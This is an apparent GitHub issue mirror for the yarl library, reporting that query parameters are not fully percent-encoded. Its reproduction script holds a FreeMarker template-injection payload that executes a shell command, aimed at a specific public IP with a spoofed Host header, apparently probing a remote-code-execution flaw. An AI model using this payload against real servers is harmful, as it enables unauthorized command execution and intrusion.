aio-libs / aio-libs/yarl

Percent-encode all reserved characters in query arguments

Ouverte
#1,073 1 commentaire 0 réactions 0 personnes assignées Voir sur GitHub
bug
Langage dominant
Python
Étoiles
1.5k
Forks
215
Merge moyen
1 j 2 min
PR mergées (30 j)
13

Description

### Describe the bug

I want to use pass parameter in URL like requests method, but it give me different response

### To Reproduce

1. Import packages:
```python
import aiohttp
import asyncio
import re
```
2. create function, use get method and send parameter:
```python
async def main(url):
headers = {'User-Agent': f'Mozilla/5.0 (Windows NT x.y; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0'}
regex = "^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$"
if re.search(regex, url):
headers['Host'] = 'localhost'
params = {
'error': '',
'deviceUdid': '${"freemarker.template.utility.Execute"?new()("ls")}'
}

async with aiohttp.ClientSession(headers=headers, connector=aiohttp.TCPConnector(ssl=False)) as session:
async with session.get(f'https://{url}', params=params) as response:
print(response.url)
```
3. run the function:
```python
asyncio.run(main("189.84.30.207"))
```

### Expected behavior

### Expected behavior:
https://189.84.30.207/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22ls%22%29%7D
### Actual behavior:
https://189.84.30.207/?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22ls%22)%7D

### Logs/tracebacks

```python-traceback
https://189.84.30.207/?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22ls%22)%7D
```

### Python Version

```console
$ python --version
3.10
```

### aiohttp Version

```console
$ python -m pip show aiohttp
aiohttp==3.8.3
```

### multidict Version

```console
$ python -m pip show multidict
```

### yarl Version

```console
$ python -m pip show yarl
```

### OS

Ubuntu 20.4 LTS

### Related component

Server, Client

### Additional context

_No response_

### Code of Conduct

- [X] I agree to follow the aio-libs Code of Conduct

Guide de contribution

Ouvrir le guide de contribution

Évaluation

Cette issue n'a pas encore été évaluée.

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.